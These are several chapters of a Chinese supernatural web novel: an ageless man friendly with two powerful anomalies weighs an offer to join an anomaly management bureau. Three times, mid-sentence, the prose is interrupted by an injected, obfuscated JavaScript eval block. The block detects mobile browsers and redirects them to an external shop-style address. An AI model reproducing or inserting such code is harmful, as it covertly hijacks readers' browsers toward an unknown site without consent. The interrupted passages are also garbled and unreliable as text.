NX:你不是在面试吗?他们给你的考验? 多年过去,裴箐还是会被宁旋奇特的形容打败。 裴箐:二位考官被吞了 裴箐:这鱼你还记不记得 宁旋发了条语音:“当然。裴箐,你把它片了带回来,让元白烧着吃。” 裴箐手机的声音开得不响,但诡异的听力比人类好上数百倍,胆小鳗鱼听到且听出了宁旋的声音,眼睛以肉眼可见的速度睁大,喉间发出低沉的呼吸声。 果不其然,下一秒—— “啊啊啊不要呜呜——他们会吃了我的——不要——求求你了——呜呜呜——” “求求求求……呜……” 裴箐被面前这只巨大生物的哭喊吓一大跳,不得不后退一段距离远离那道尖啸哀嚎。 裴箐已经不想养它了,实在太能哭,虽然浊血也害怕宁旋和阚元白,但浊血只会发抖,不会哭。 “再哭一声,我真动手了。”裴箐手指动了动,他真的忍无可忍了。 胆小鳗鱼立马止住哭声,战战兢兢不敢哭泣。 裴箐正要说什么,忽然顿了一下。 他感受到了不属于诡异的气息,佘海玉和沈责应该快出来了。 裴箐立马收了手机,大步流星往包厢走去,把哭声还没消散的胆小鳗鱼扔在了原地。 看着他穿过大厅凝固不动的人走进走廊,胆小鳗鱼硕大的身躯微微扭动,粘液如潮水般褪去,它意识到了什么,身体在逐渐变小。 在包厢静坐五分钟不到的时间,门外传来声响。 裴箐工工整整地端坐在座位上,听见开门的声音,假模假样抬头,故作惊讶地说:“解决了?” 沈责脸色灰白,看起来受了不少惊吓。 裴箐明显感觉到佘海玉又在打量他。 “这只诡异很狡猾,”沈责嗓音发哑,却还不得不打起精神替领导分忧,“是我没有注意到。” 裴箐默默扭回头,那只鳗鱼大概看他回包厢,就做好了逃跑的准备,算起来,应该是他的问题。 佘海玉摇了摇头,低声说:“我也没注意到。” 佘海玉是高级执行者,按理说对付一只C级诡异没有问题,今天居然让它逃脱了。 不过…… 佘海玉凝视着裴箐,这间包厢竟然没有受到诡异的袭击,Reign找的人果然和他一样好运气。 其实佘海玉不太相信会有人拒绝异管局。如今这个时代诡异肆虐,哪怕没有能力,成为异管局的员工也是多一份自保之力。 外头已经恢复了热闹,裴箐在二人出空间层的瞬间解除了控制。 裴箐有些困了,这两天折腾这折腾那,他总觉得自己哪里没睡好,裴箐忍住打哈欠的生理反应,怏怏地问:“二位,今天就到这儿吧,你们太辛苦了,不如回去好好休息?” 裴箐的困倦被沈责当做直面诡异的恐惧后遗症,他也劝起了佘海玉:“队长,裴箐他只是普通人,要不先送他回去?” 许久,佘海玉点了点头。 走出包厢沈责去结账,佘海玉看着外面好似什么都没发生过的平和,不经感慨,幸好不是只穷凶极恶的诡异,不然怕是难以收场。 结完账的沈责还想贴心地送“受到惊吓”的裴箐回家,裴箐指着路边的跑步,说他自己开了车。 沈责只好遗憾作罢。 佘海玉现在距离他一米左右的地方,似乎要等他安全离去才离开。 裴箐站在车门前,迟迟不启动车辆。 裴箐说:“佘队长,我能问个问题吗?” 佘海玉:“说。” 夜风吹拂,裴箐的声音好似消散在风中:“您是不是……隐瞒了什么?” 他说话略带惆怅:“如果我没记错,这家餐馆原来叫【旧时光】,对吗?” 【旧时光土菜馆】副本,某A级诡异的降临地,当初折损了数十位高级执行者,也就是佘海玉同等级的高手才得以通关。 佘海玉一言不发,站在原地,目光沉沉地锁住裴箐,面上没任何多余表情。 过了好一会儿,她才缓缓开口:“你很聪明。” 裴箐笑了笑:“有同样猜测的不止我一人吧,不过没在网络上见到此类分析倒是不敢相信。” 佘海玉:“……” 沉默片刻,她说:“我们有专门的网络审核员,一旦发现相关言论,必定引起群众恐慌,所以我们会立刻清理,这也是无奈之举。” 裴箐点头:“可以理解。” 沈责乖巧地接过话头:“那时【旧时光土菜馆】副本的完成度是91%,如果完成度没有达到100%,诡异则能够降临,因为没有彻底‘净化’。” 裴箐没想到异管局同意让他了解这么保密的事情,他惊讶地说:“你们愿意和我说这些,是肯定我一定愿意加入异管局?” 佘海玉没说是也没说不是,只道:“在异管局工作,你能够更好的保护自己,还有家人朋友。” 裴箐心道大概不太需要。 佘海玉又说:“关于诡异,我想你应该知道一些事。” “目前大家知道的最高等级是S级诡异,事实上还有更高等级,或者说无法明确等级的诡异存在。” 裴箐在心中默念,七罪宗…… 与此同时,沈责的声音响起:“我们称祂们为,七罪宗。” “傲慢、嫉妒、暴怒、懒惰、贪婪、暴食、色欲。一共七个,人类目前只遇到过……两个。”沈责肩膀沉了下来,“不在我们国家,但……” 结果很糟糕。 一百多年前,【贪婪】现身,距离华国七千公里某个国家覆灭。 六十多年前,【暴怒】现身,多国遭受重大伤害,时至今日都没缓过来。 沉默在三人中弥漫开。 良久,佘海玉低声说:“裴先生,你回去考虑考虑,有答复了可以告诉安蓝。” “好。佘队长,感谢您的款待。” 说罢,裴箐坐上了车。 回到家时已是凌晨,裴箐把没了电饭煲后躲在沙发底下的浊血抓了出来。 裴箐一手拎着浊血,一手接外套扣子:“问你个事。” 四月份的时间天还不热,虽然裴箐没有保暖和凉快的必要,但为了随大流,他还是买了不少当季的衣服。 浊血战战兢兢:“您……您说……” “向小西住的地方没有副本降临,你为什么能在那里出现?” 裴箐把浊血举到和自己视线齐平的高度,脸上没什么表情,瞧上去十分唬人。 浊血抖的更严重了:“什、什么降临,我都可以去的……” “所有地方?” 浊血不明白它的主人出去一趟为什么回来抓着它质问,但它本能的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536154|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得这不是一件好事。 浊血颤巍巍点头,它的点头看不大出来,只能看到一团血呼啦次的东西在扭动。 裴箐的神色凝重起来,地球与游戏融合已经有六年的时间,异管局不可能不知道这个情况。 除非……是佘海玉故意藏着,也可以理解,为了防止引起不必要的恐慌。 新降生的诡异能够在地球随意游走,和晚上佘海玉跟他说的比,严重太多了。 但如果安城市异管局不知道呢,如果上面,或者国际联合部瞒住这一消息,安城市异管局不知道也正常。 但这只能说明事情更严重了。 这几年裴箐打游戏打得更狠了,对外界的关注也少,可以说近十年,除了解决向小西的事,他没再主动了解有关诡异的一切事。 每隔几十年就有一段倦怠期,习惯了。 裴箐把浊血往地上一扔,疲惫地按了按鼻梁,收拾干净后开始打游戏。 他倒是不紧张,只是曾经坚定表示不可能加入异管局的心动了动。 他挺好奇上面的人究竟瞒了什么。 直到天亮了大半,裴箐打了个哈欠,开始他的睡眠时间。 没过几小时,下午阳光正好,按理说是裴箐的最佳睡觉时间,他竟感受到了一股,不对,两股莫名的气息。 宁旋和阚元白不需要敲门,也不需要钥匙,穿墙而过就行。除了卧室,他们对裴箐家几乎不能再熟悉。 裴箐知道,那两个不法分子又来了。 裴箐闭着眼坐起,躺下,又坐起,来来回回三五次才彻底清醒。 果不其然,客厅坐着两个熟悉的不速之客。 宁旋迫不及待地问:“那个队长说什么了?” 裴箐半阖着眼,懒洋洋地说:“说到你了,傲慢小姐。” “我?说我什么?”宁旋蹙起眉,整张脸写满“我可是良民”。 裴箐耸了耸肩:“没什么,提到你们七罪宗了。” 宁旋:“我们又不是组合,这名字难听死了。” 阚元白赞同:“是啊,好难听的名字……” “您还知道组合,”裴箐晃悠到厨房,从冰箱里翻出速冻馄饨,“真没想到。” 宁旋跟着来到厨房:“怎么是馄饨?昨天的鳗鱼呢?” 裴箐十分无奈:“安蓝的大队长就在旁边,我哪儿能啊。” 提到佘海玉,裴箐表情严肃了些:“我问你们个事。” “怎么了?”阚元白也凑到了厨房,本就不大的厨房挤了一人两诡异,几乎没有落脚的地方。 “融合后降生的诡异,无论等级都能随意走动?” 阚元白有些怔愣:“不是只能在两地交汇的地方活动吗……除了我们。它们进化了?” 进化? 裴箐摇了摇头,不可能,就算要进化,也会是他第一个进化,虽然他不是诡异。 裴箐出馊主意:“要不问问你们组合另外几位成员?” 宁旋拒绝:“不行。低贱的生物,碰到它们都会粘上臭味。” 裴箐关了火,用漏勺勾起熟透的馄饨:“本是同根生,相煎何太急。要不要?” 宁旋:“别念你的古诗。不吃。” 阚元白呆呆地开口:“前段时间【色欲】不是想来找我们。” 色欲?裴箐脑海中浮现那个穿超短裤的风骚男人,面露难色:“他就算了吧。” 9. 第九章 裴箐没和色欲打过交道,只在副本远远碰上过几面,收到过来自色欲的几个媚眼,现在想起,还是不由恶寒。 速冻馄饨味道不怎么样,裴箐吃了四五个就放下了筷子,他突然问:“你们过来做什么?” 沙发上凑在一块儿碎碎念的两人身形顿了下,宁旋没动,阚元白僵硬地转过身,讪笑道:“阿箐,其实我们是想……想……” 阚元白哈哈打半天,也没说出个所以然,还是宁旋不耐烦了,狠狠锤了一下怀中的抱枕,飞速说:“我们就是来劝你加入异管局。” 裴箐收拾碗筷的动作顿住。 “为什么?”许久后,裴箐才问。 宁旋转过身子面对着他:“我们想,这些年你活得真不像个人,不如上上班调整调整。” 长生可以是好事,也能是坏事。裴箐起初并没有意识到自己的身体发生了什么变化,直到时间推移,越来越多的人说他长相年轻,竟没有半点年老的痕迹,裴箐才意识到游戏除了给予他力量,还改变了什么。 裴箐惊恐地发现,自己不会变老了,他变得畏惧旁人目光,卖了才还完贷款不久的房,找了处僻静无人的地方住下。 但他忍不住关注曾经身边人的消息,有谁被选入副本了,有谁结婚生子了,有谁去世了。 相熟之人一个个去世,直到再没人认识他。 游戏在三十年后抹去了裴箐存在的痕迹,试图抹杀他人类的身份,但诡异同样对他避之不及。 那时裴箐做的唯一一件事就是利用能力潜入户政部门为自己造个假身份。 年份越来越长,裴箐也越来越无望,试了无数办法想自杀却无一成功。 裴箐打游戏打得日夜颠倒是在认识阚元白和宁旋之后,刚开始他几乎整宿整宿不睡觉打游戏,打到心脏抽痛。 裴箐是毋庸置疑的人类,就算不会死不会得高危疾病,在昼夜不分的熬夜下,身体差到了极致,唇色苍白脸色发青,半年前安蓝第一次见到裴箐,吓得问他要不要去医院。 宁旋和阚元白一直担心裴箐的精神状况。 裴箐没忍住笑出了声:“你们不会以为我有精神病吧。” 阚元白低声说:“虽然我们不了解人类,但我们上网查过了,你的情况很危险的。” 裴箐眼皮懒懒耷拉着,满不在乎地说:“那是会死的人类,我又不会死。” “裴箐,我们没在开玩笑。”宁旋难得严肃,“我们虽然不是人,不理解你们人类的想法,但你这些年明显状况不好。虽然向小西的事我让你少做大善人,但那是你十几年来第一次主动帮他们了,以前你不是经常……” 裴箐截住话语:“停。我隔一段时间就要休息一会儿,你们不会不清楚吧。” “可你……”宁旋还想说什么,触及裴箐冷漠的眼神又止住,从沙发上起来,恶狠狠地走到餐桌边夺过裴箐要拿去洗的碗。 裴箐惊道:“你要做什么?” 宁旋直勾勾盯着他:“你去不去?” 裴箐坚定:“当然不去。” “去不去!” “不去!” 宁旋不再说话,她的皮肤底下开始鼓起一块块不规则的大包,像有无数活物在窜动拱撞,脸上的五官开始融化,原本规整的人脸失去了人形轮廓。 四肢最先失去形态,慢慢消融瘫软,化作一滩黏腻软烂的肉浆,顺着地面缓缓漫开。 躯干也跟着塌陷膨胀,渐渐浑浊发暗,变成灰青混着腐白的肉糜。 身形以肉眼可见的速度疯狂扩张堆叠,没有骨骼轮廓,源源不断堆叠的腐烂肉糜,不断向外铺展,一点点填满房间的空余角落。 房子里的光线骤然暗沉,早就蹲在沙发下瑟瑟发抖的浊血被铺天盖地的恐怖气息吓得昏迷。 宁旋和阚元白每次来的时候都会顺道在裴箐家设个隔音层,这么多次下来,今天终于有了用处。 裴箐不可思议地睁大双眼:“宁旋你要干什么?不至于吧,你要打架吗!” “打的就是你……可恶的裴箐!我要被你气死了!” 变回原型的宁旋说话声音不再悦耳,此刻她的说话声仿佛是从黏腻浆糊里闷出来的低频声,再没清晰咬字。 宁旋控制着不让身躯太大,以防撑破不算大的房子。 裴箐脚下骤然生出一缕浓黑雾气,顺着地面唰地四下漫卷开来,瞬间铺满周遭地面。 他抬手虚拢在身侧,朦胧雾气缠绕间,苗刀轮廓似隐似现。 阚元白没想到事情会发展到这个地步,明明来时宁旋还和他说一定要好好劝导裴箐,这下好了,谁家好人靠打架劝导! 裴箐保持着警惕的姿势没动:“哪儿有你这样劝人的。” 阚元白从宁旋和墙壁间的缝隙挤进来,快步跨到两人中间,一边伸手按住裴箐的肩头,又侧身面对宁旋,一脸无奈又着急:“阿旋你先消消气,我们坐下来好好说啊。” 宁旋:“说个头。” 阚元白很无奈,他又侧过脸劝裴箐:“阿箐……” “别说了。”宁旋的身躯开始蠕动,似乎在慢慢变小,她干咳一声,“谁跟他打架,我就是表达我坚定的立场。你,一定要去上班。” 阚元白在心中叹气,这两人每次都这样,他有时真的不想插进去劝架了。 裴箐也收了还只是个影子的苗刀,冷哼道:“你知不知道上班有多辛苦。” 宁旋说:“我当然知道,你们人类拍的电视剧不都有讲吗。” “知道你还要逼我上班?宁旋,你好狠的心。” 宁旋振振有词:“上班才能规范你的作息,你看你经常不睡觉,看起来都快要死了。” “那我真得借你吉言。”裴箐一指在慌乱中被打碎的陶瓷碗,“你自己收拾。” 宁旋翻了个白眼,蹲下身捡碎裂的瓷片:“收拾就收拾。” 原以为没有宁旋说话就万事大吉,裴箐没清净两分钟,另一道人影凑了过来。 阚元白迟疑地说:“阿箐,你……真的不打算接下安蓝队长的邀请吗?” 裴箐叹了口气:“元白,异管局工作真的很累。安蓝她经常加班,她还只是个普通员工。” 在发生意外前,裴箐是家私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536155|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 企的员工。 那时社会推崇996、007,为了顺应社会变化,在裴箐上大学的四年里,大部分企业都把原本的双休改为单休甚至无休。 裴箐运气还算可以,毕业后入职一家早九晚八周休六天的企业,那时他虽然会在下班后到健身房健健身,但轻度的健身只为保持身材,高强度的工作依然让他痛苦。 哪怕过了一百多年,再次回想上班的日子,还是深恶痛绝。 阚元白想了想:“可你是昨天那个小朋友看重的人,异管局不会想安排安蓝一样安排你吧?” 说Reign,Reign到。 话音刚落,裴箐的手机叮咚作响,他从餐桌摸过手机,上面显示四条未读信息。 Reign:佘海玉找你了??? Reign:你不会答应她了吧!!! Reign:我不允许!! Reign:!!!!!! 看着满屏的感叹号,裴箐并不想回答他。 裴箐按灭了手机:“在他们眼里我又不是什么厉害的人,一个新人,注定要经历那些痛苦时光。” 半天没等到裴箐的回复,急不可耐的Reign打来视频通话。 裴箐头很痛,他不想接,但按目前趋势来看,就算挂了一个通话,后面还会有无数麻烦等着他。 裴箐认命地点下接通。 Reign看起来在一处装修奢华的酒店套房里,镜头里背景灯光柔和暗沉,一旁摆着雅致的实木茶几。 Reign一接通就开始鬼哭狼嚎:“你为什么不回我?你不会真的加入安城的异管局吧!这种小破地方配不上你啊裴箐!” 宁旋不知何时出现在裴箐身后,蹙眉打量屏幕里的Reign。 Reign没想到裴箐身边有别人,一下子止住了嚎叫,整张脸又涨得通红:“你……我……” 裴箐平静地说:“我这边有三个人。” 他疯狂的形象被两个不相干的人看到了,意识到这点的Reign再次崩溃。 Reign整张脸埋在膝盖上,只露出红透了的耳朵,不愿面对现实。 裴箐说:“没事,他们是我朋友。” Reign大概意识到裴箐身边的人是上次见面的两人,也许已经丢了一次脸,一分钟后,莫名恢复正常。 Reign清清喉咙:“咳,我是说,安城配不上你的才华,来京市,我可以让他们把今年执行者培养的资源多挪点给你。” 裴箐走到沙发边坐下,宁旋和阚元白门神似的一左一右守着他:“我还没答应佘队长。不过,R神,你们异管局是缺人啊。” “也不算吧……”Reign挠挠头,感叹道,“你知道吧,那几所专门培养执行者的学校。执行者有能力的事……佘海玉和你说了对吧。” 玩家逃出后,上层意识到经历副本的人可能能够获得能力,就在京市、沪市、庆市三地分别建立执行者培训基地,试图培养更多真正的执行者。 裴箐倒是忘了培训基地这茬,要是他进异管局,会不会也被抓去培训? 10. 第十章 “培训基地每年报名人数都远远超过录取人数,但每年结业后可以觉醒能力的没有几个。”Reign继续说,“人手倒是不缺,就是缺执行者。” 裴箐点头表示理解,他懒懒靠着沙发背:“我要是真答应入职,是不是还得被拉去培训?” Reign闻言立刻嗤笑一声,一脸自恋又倨傲,摆了摆手:“那哪能啊,当然不用。我怎么可能让你沦落到跟那些普通新人一起凑堆受训。” 见裴箐不接话,Reign视线落到挤着裴箐坐的两人身上,搭话道:“哎,裴箐的朋友们,你们肯定也希望他加入异管局吧,这可是妥妥的铁饭碗!” 宁旋抱着胳膊开口:“当然,他居然还拒绝。” 阚元白轻声附和:“是啊,异管局的工作安稳靠谱,我们早就劝过他了。” 裴箐听得太阳穴微微发疼,半点兴致都没有,懒得应付两人的废话,也懒得敷衍视频那头难缠的家伙:“你们俩都闭嘴。” 他看向Reign:“我能问个问题吗。” Reign:“当然可以。” 裴箐手指搭在手机边缘,有一下没一下地点着:“我现在住的这个小区,从来没有副本降临过。所以单从目前的情况来看,这里算不算得上是绝对安全?” Reign以为裴箐在担心个人生命安全,斩钉截铁地说:“绝对安全,我保证。” 裴箐沉默下来,眼底藏着几分若有所思,静静消化着这话。 过了片刻,他缓声开口:“我知道了,进异管局的事我再考虑一下。”说着,他笑了一下:“R神,你对我未免太关注了。” 连他和佘海玉在餐馆包厢聊了什么都知道,裴箐可以确定身边没有窃听过追踪一类的东西,那么这些话只能是从异管局流出去的。 Reign神色一僵,眼神微微闪躲,脸上泛起一丝不自然的尴尬:“哈哈,我这不是……担心你跟佘海玉走了,所以……” 还没说出个所以然,裴箐打断了他:“行了,R神,就先这样吧,我还有点事,先挂了。” Reign不好死乞白赖,只能勉强点头。 挂断视屏通话,裴箐站起身径直走到门口打开门。 宁旋和阚元白愣愣地看着他的动作,两双眼睛盛满迷茫。 “请回吧二位。”裴箐伸手做了个“请”的姿势。 宁旋咬牙:“裴箐,你真绝情啊。” 裴箐耸了耸肩,迈步从门口径直走到沙发跟前。 他伸出手,分别扣住两人的手腕,力道带着不容挣脱的强硬,顺势往上一拽,直接把坐着的两人从沙发上拉了起来。 宁旋和阚元白还没反应过来,就被他攥着手腕往前带,一路径直扯到门口。 到了门槛边,裴箐稍稍松手,手臂顺势往前一送,干脆利落地把两人往外一推,随即往后退了半步:“慢走不送。” 宁旋皱起眉,语气憋着气,刚憋出一个“你”字,正要往下发作。 阚元白立刻抬手轻轻拉住她的胳膊,眼神示意她别冲动,柔声劝道:“算了,别多说了,让阿箐自己安静待会儿。我们先走吧。” 宁旋被拦着,悻悻地把到了嘴边的话咽了回去,只能不甘心地看了眼倚在门边的裴箐,顺着阚元白的力道,转身一同离开。 裴箐望着着他们进入电梯的背影,直到再感知不到气息,才将门关了上。 裴箐整个人身心一松,踉跄着往后倒,直直摔在地上铺着那张宽大厚实的软垫上。 他随意蜷着身子,一只胳膊弯起,手肘抵着额头眉眼处,刚好半挡住脸,整个人懒散地瘫在软垫上,双腿随意舒展着。 宁旋既然被称作“傲慢”,自然与她的性格有一定关系。 从降生起就处在弱肉强食、胜者为尊的诡异世界,宁旋总有绝对强大的力量,她对无论诡异还是人类都带着蔑视。 除了裴箐。 因为裴箐比她强。 就连阚元白也是先与裴箐交好,才和宁旋有了接触。高高在上的傲慢平等地看不起任何人。 第一次打架没打过裴箐的时候,宁旋对他的态度很奇怪,像是俯首,又带着不甘。 后来认识的时间长了,宁旋似乎正常了些,不再过于目中无人,她对裴箐也从“他凭什么比我强”变成“行叭他真的很强”。 宁旋似乎认可了裴箐朋友的身份,开始担心他会不会哪天突然死掉。 裴箐当然清楚他们的担忧,只不过太久没被人直白地担忧,一时有些别扭。 他闭眼回想方才Reign肯定的话,早起的困倦让他不由打了个哈欠,左手随意摊开,软绵绵地垂落在身侧地面,手背放松搭在软垫上,整个人放空躺着。 就在他静静出神的时候,忽然感觉到摊在地上的那只手旁,有什么东西轻轻蹭了蹭他的手腕。 “您……怎么了?” 浊血闷沉的声音响起。 裴箐下意识抬手,指尖落在它的身上,漫不经心地轻轻捏了几下。 弹滑的触感顺着指尖传过来,他心里默默想,手感挺不错的。 裴箐当然不会跟浊血倾诉他的思考,他懒得回话,干脆把浊血晾在一旁。 裴箐心底漫上一层说不清道不明的迷茫。 他原本打心底里拒绝加入异管局。 一来他作息向来混乱,日夜颠倒,散漫惯了,二来更是抗拒和官方的人有太多牵扯交集。 可是自从解决向小西的事后,这几天的见到的人和事比他过去十年的加起来还多,裴箐忧虑是不是有人盯上他了。 裴箐在诡异中名气不小,认识他的诡异更是多如牛毛,正如他在向小西家对浊血放下的狂言——“如果你连我都不认识的话,在诡异里面地位挺低吧”,只要是还算有名的诡异,就算认不得他这张脸,也知道他的能力。 不排除会有人类和诡异勾结。 毕竟他都能和阚元白宁旋好好相处,谁知道在利益的驱使下没有底线的人能做出什么。 还有关于诡异降临地点的问题,这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536156|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴箐最担心的事。 裴箐最怕的就是诡异与现实世界彻底壁垒崩碎。到那个时候,普通人根本没有半点招架之力。 他见过太多普通人进入副本,明明遇上的只是等级并不算高的诡异,依旧毫无反抗余地。 有人被诡异硬生生撕碎肢体,鲜血淋漓倒在满地狼藉里。 有人被幻境困住,精神崩溃,最后吓得疯疯傻傻。 更有一群抱团求生的人,自以为能勉强撑住,却依旧被诡异逐个盯上,结局自然是惨死。 还有……他的母亲。 裴箐的母亲是在直播降临后第一批被选入副本,那天他刚挤进早班高峰期的地铁,手机又强制亮起直播画面。 熟悉的面孔上带着他从未见过的恐惧。 裴筠独自一人拉扯他长大,在裴箐的印象中,他的妈妈似乎永远不会害怕,也不会哭泣,永远是他身后最坚定的靠山。 相依为命的日子久了,久到裴箐从没想过人总有一天会去世,无论天灾人祸还是寿命将至。 开动的地铁不可能为他停下,裴箐硬生生熬到下一站到站,飞奔回家寻找那道熟悉的身影,结果自然什么都找不到,人已经被游戏拉进去了。 那时的裴箐还是个手无缚鸡之力的普通人,他疯狂地想要进入副本,却只能眼睁睁看着最爱的亲人在全球人面前被诡异杀死。 那几天裴箐没有请假,把自己关在房间里强迫自己盯着直播画面看,看到胃部痉挛,吐到只能呕出苦涩的胆汁。 那是裴箐到今天都不敢再回忆的画面。 裴箐挣扎着从地上坐起来,他不敢再继续想下去,生生止住胡乱发散的思绪。 总而言之,结合他的猜测和对未来糟糕的幻想,他好像有些妥协了。 裴箐烦躁地揉了揉头发,顺滑的长发被他揉得一团乱,不少发丝倔强地翘起,在半空飘荡。 裴箐走到沙发旁,从沙发缝里挖出手机,骨节分明的手指有一下没一下地摩挲着侧边金属框,目光落在翻出来的安蓝聊天框上,迟迟没有动作。 就算裴箐真的同意加入异管局,他也不会选择京市。 作为首都,京市自然有不少高级甚至特级执行者镇守,他既然想要低调行事,目前还不能和这群人碰面。 裴箐可以确定自己的能力不会被发现,但他和两只极其强大的诡异相处多年,在安城这种小地方没人能察觉,不代表在京市绝对安全。 当初他在安城买房子也是出此考量。 当然,房价低也是很大的一个原因。 裴箐叹了口气,又把手机扔回沙发,他想干脆等安蓝主动来问算了。佘海玉回去后一定会和她提起这件事,安蓝是个风风火火的小姑娘,裴箐相信她一定回来找自己。 不过得等到晚上,对于过去半年每次回复安蓝消息都在深夜这件事,裴箐也很抱歉,他实在是爬不起床,如果真的加入异管局,他最先做的,应该是调整作息。 裴箐面露痛苦,也许这才是对他最大的考验。 11. 第十一章 裴箐在客厅里踱来踱去,一时不慎踩在浊血的身上,差点摔了个趔趄。 “嘶——吓我一跳。” 裴箐撑住沙发背才站稳。 浊血被踩了一脚也不敢抱怨,在地上滚了半天痛感退了大半,又滚到裴箐脚边蹭他。 裴箐:“……你们诡异被踩一脚能痛成这样?” 浊血不好意思地扭动躯体,试图回避这个让它尴尬的问题。 望着地上假装自己不存在的浊血,裴箐忽然问:“你是C级诡异,对吧?” 浊血茫然点头。 裴箐陷入沉思。在他的印象里,C级诡异至少能抗他两下,回想那天在向小西家看起来渗人事实上只是虚张声势的浊血,他十分疑惑:“你们的等级是怎么分的?” 浊血看起来也没考虑过这个问题,它顿在原地,想了又想想了又想,迟疑地说:“是……人类说的。” 裴箐皱起眉,目前他了解到所有诡异的等级的确都是人类所判定,但浊血并没有被人类发现过,怎么给它下“C级”的定论? 裴箐半跪下身:“哪个人类和你说的?” 浊血被他大幅度的动作吓得一激灵,说话更结巴了:“我、我四年前被……抓到过,没了、了半个身体才逃……出来。” 感情还是个逃犯。 裴箐松了口气,原来浊血有等级是因为被人类通缉了,弱是因为身体被砍了大半。 不过…… 裴箐眯起眼睛:“异管局是不是有你的通缉令?” 并不是每只诡异都能被抓住或消灭,如果有诡异逃脱,异管局内部会流传一张带画像的通缉令,以方便各地异管局审查。 通缉令这事是阚元白告诉他的,裴箐一直怀疑这消息是假的。 浊血频频点头:“我听到他们要通缉我。” 裴箐:“……” 裴箐:“你还挺自豪?” 浊血又在地上滚来滚去,裴箐发现它真的很像一只小狗。 浊血滚了一会儿,骤然停下动作,裴箐觉得它大概有话要说,浊血支支吾吾半天只发出几个音节:“我……您……” 裴箐莫名从它没有五官的脸上看出一丝期待,他回想了一下这段时间发生了什么:“想问宁旋和阚元白?” 浊血兴奋地晃动身体:“是、是的!另一位是……” 裴箐说:“暴食。” 浊血惊得在地上打滚,两行清水滚滚落下,裴箐目瞪口呆,这团血呼啦次的玩意还会流眼泪? 终于按耐不住激动心情的浊血说话都不结巴了:“我居然可以见到他们……从来没有想过,死而无憾了……” 裴箐张了张嘴,一时没说出话,全是难以言说的无语。 “你很崇拜他们?”裴箐最终挑了一个还算温和的词。 “是的!祂们是我们当中最厉害的,但是没有多少诡异见过祂们,我……我……”浊血说到后面越来越兴奋,呼哧呼哧地喘气。 裴箐嫌弃地后退了几步:“……你这么喜欢他们,刚才怎么不当面向他们表达你的感激之情?” “我、我是……”浊血被他的话打击到,丧丧地说,“我不敢……” 闷声闷气的说话声回荡在客厅,裴箐噗呲笑出声:“怕他们什么?怕他们弄死你?那怎么不怕我……” 裴箐一下止住了话,差点忘了这家伙压根不认识他。 看来知名度有待提高。 裴箐不想再跟沉浸在“哇哇哇见到偶像了”中无法自拔的浊血说话,他拿起手柄窝到沙发上开始打游戏。 期间裴箐折腾了一顿午饭不像午饭、晚饭不像晚饭的饭。 他的就餐时间很不规律,基本上饿了才吃,有时候饿了也不吃,懒得折腾,裴箐想反正他饿不死也饿不出毛病,顶多不规律久了得胃痛。 直到夜色沉了下来,恰好十点整。 叩叩叩。敲门声响起,裴箐抓起在脚边乱滚的浊血一把扔进沙发底,起身为来客开门。 果不其然,是安蓝。 安蓝今天形容还算整齐,看来异管局没出什么事:“裴哥,我们大队长说你在考虑要不要加入异管局。” 裴箐弯了一下眼睛:“怎么,来当说客?” “也不算啦……”安蓝挠挠头,干笑道,“我就是想说,异管局薪资待遇挺好的,工作时间也很自由。” 裴箐若有所思地点头,片刻后,他说:“我能不能问问你的……”他没再说下去,似乎有些抱歉。 安蓝了然点头:“工资是吗。唔……没什么不能说的,我其实刚转正不久,我们初级执行者的基础工资是两万,每个月根据处理的诡异数量算绩效。” “然后我们是六险二金,高级以下执行者两年一次法定节假日全放不调休,过年放十二天。” 说着,安蓝笑得勉强起来:“毕竟异管局不能没人,两年按照法定节假日放一次假已经是争取过的。我们也没有周末的,平时有事就工作没事就下班。” 裴箐竟然觉得不错,对他来说解决几只诡异不要太容易,工作时拖一拖,不显得太厉害,这份工作还算轻松。 “对了裴哥,我们对员工家人也有很全面的保障。”安蓝话说的有点多,嘴唇发干,停下来喘了口气。 裴箐心想这点他倒是用不上,但他没接安蓝的话,反而问安蓝要不要喝杯水。 两个人现在还站在大门口,宁旋不在,不方便让女生进到家里。 安蓝摇头说不用,她继续说:“这个工作其实有点……危险,这么说好像不太吉利,就是如果员工去世,异管局会替员工赡养家人。” 面对滔滔不绝的安蓝,裴箐有些感慨,记得那年他找工作,全程只有他对着人事介绍自己的份,简历投来投去,还听不到招聘方半句好话。 时至今日,居然轮到别人请求他入职,在他面前口若悬河地介绍工作单位。 “大致情况就是这样。”安蓝说,“裴哥,你接受的话,明天八……不,十点我们楼下汇合,我带你去异管局,你看行吗?” 裴箐靠着门框,眼睑低垂,不知在想什么。 “裴哥?” 裴箐恍然抬头,歪头笑了笑:“不好意思,刚刚算了下时间,明天约定时间准时见。” 